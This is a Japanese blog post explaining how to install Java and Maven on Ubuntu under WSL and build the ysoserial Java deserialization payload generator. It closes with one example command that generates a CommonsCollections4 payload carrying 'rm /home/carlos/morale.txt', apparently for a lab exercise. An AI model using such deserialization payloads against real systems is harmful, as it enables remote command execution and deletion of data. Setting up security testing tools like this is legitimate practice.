Tools

ysoserial をビルドする

投稿日:2020年10月12日 更新日:

1. はじめに

任意のコマンドなどを仕込んだ Java の(シリアライズされた)オブジェクトを生成する frohoff/ysoserial というツールがあるのですが、このツールのソースコードをビルドして ysoserial.jar を生成する手順を紹介します。

2. 前提とする環境

  • Ubuntu 20.04 (on WSL on Windows 10)

3. ysoserial をビルドする

ysoserial をビルドするまでの大まかな手順を紹介します。

1) Java を導入

以下のコマンドで JRE をインストールします。

$ sudo apt install default-jre

以下のコマンドで JDK をインストールします。

$ sudo apt install default-jdk

~/.profile ファイルに以下を記述します。

export JDK_HOME="/usr/lib/jvm/java-11-openjdk-amd64"
export PATH="$JDK_HOME:$PATH"

これは環境変数をセットしていますが、すぐに反映したいのであれば、この2行をコマンドとして実行してください。

JDK_HOME にセットするパスは、そのときに導入された Java のバージョンによって異なりますが、/usr/bin/java のシンボリックリンクをたどっていくと分かります。

問題がなければ java コマンドと javac コマンドのバージョンを表示することができるはずです。

$ java -version
$ javac -version

2) Maven を導入

Maven – Download Apache Maven にアクセスして、apache-maven-X.X.X-bin.tar.gz もしくは apache-maven-X.X.X-bin.zip をダウンロードします(「X.X.X」の部分はバージョンを表しています)。

ダウンロードしたファイルを解凍すると apache-maven-X.X.X というフォルダが生成されるので、任意のフォルダに移動させます。ここでは、~/local というフォルダの下に移動されたと仮定します。

Maven の bin ディレクトリにパスを通すため、~/.profile ファイルに以下を追記します。

export PATH=~/local/apache-maven-X.X.X/bin:$PATH

Maven を一時的にしか使わないのであれば、~/.profile には記述せず、必要なときだけこのコマンドを実行するというのでもよいです。

以下のコマンドで mvn コマンドのバージョンが表示されれば問題ありません。

$ mvn --version

3) ysoserial の導入とビルド

git コマンドを使って、ysoserial のソースコードをダウンロードします。

$ git clone https://github.com/frohoff/ysoserial.gitn

生成されたディレクトリに移動します。

$ cd ysoserial

ビルドを実行します。

$ mvn clean package -DskipTests

ビルドが正常に終了した場合は、「BUILD SUCCESS」というメッセージが表示されます。

この時点で、カレントディレクトリに target ディレクトリが生成されており、その中に ysoserial-X.X.X-SNAPSHOT-all.jar ファイルができているはずです(X.X.X はバージョン番号です)。これを ysoserial.jar として使います。ysoserial-X.X.X-SNAPSHOT.jar ではありません。

4) コマンド実行例

例えば、以下のようなコマンドを実行することができます。

$ java -jar ./target/ysoserial-X.X.X-SNAPSHOT-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 > custom-payload.txt

4. おわりに

ysoserial の導入手順に関する日本語情報があまり見つからなかったので書いてみました。

📂-Tools

執筆者:labo


comment

メールアドレスが公開されることはありません。

関連記事

Evernote

Android 用 Evernote 8.9 で検索ができない問題

Android 用 Evernote バージョン 8.9 で検索ができない問題についての対応策を書いています。

JavaScript

npm のパッケージを最新版に更新する

目次1. npm のパッケージを最新版に更新するには?2. npm-check-updates を使ってプロジェクト内のパッケージを最新版にする手順1. npm-check-updates をインスト …

Anki

News in Levels を Anki デッキにする

News in Levels の記事を Anki デッキにしてみましたので紹介します。

Anki

Anki のカードで、フィールドの値によって文字の色を変える

Anki のカードで、フィールドの値によって文字の色を変える方法について書きました。

WSL

WSL 2 の Kali Linux で Win-KeX (kali-win-kex) を使う場合の注意点

目次1. はじめに2. Win-KeX の使い方と注意点(1) Kali Linux の導入(2) kali-win-kex パッケージのインストール(3) 注意事項注意点 その1注意点 その2(4) …